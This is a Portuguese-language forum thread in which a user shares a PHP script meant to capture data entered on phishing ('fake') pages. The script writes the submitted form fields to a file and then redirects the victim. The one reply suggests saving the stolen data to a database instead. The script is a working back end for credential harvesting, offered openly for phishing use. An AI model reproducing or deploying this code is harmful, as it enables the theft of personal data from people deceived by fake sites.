antiblock
Elveron
  • Chatbox

    You don't have permission to chat.
    Load More
Sign in to follow this  
KB CRAZY CHANNEL

[Php] Guardar Dados Form Para Sites De Phishing

2 posts in this topic

Boas,


 


Venho aqui deixar a função para salvar os dados de um formulário para páginas fake



<?php

//PEGA OS DADOS ENVIADOS PELO FORMULÁRIO

$email = $_POST["numero"];

$cidade = $_POST["cidade"];



//PREPARA O CONTEÚDO A SER GRAVADO

$conteudo = "<br />\n $email <br />\n $cidade\r<br />\n";



//ARQUIVO TXT

$arquivo = "dados.php";



//TENTA ABRIR O ARQUIVO PARA GRAVAR OS DADOS

if (!$abrir = fopen($arquivo, "a")) {

echo "Erro ao abrir o ficheiro txt ($arquivo)";

exit;

}



//ESCREVE NO ARQUIVO TXT

if (!fwrite($abrir, $conteudo)) {

print "Erro escrevendo no arquivo ($login)";

exit;

}

header("Location: index.php");



//FECHA O ARQUIVO

fclose($abrir);

?>

Cumprimentos


Source


Share this post


Link to post
Share on other sites
antiblock
Rodnia | Alpha & Omega

não é mais facil escrever os dados em base de dados?

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this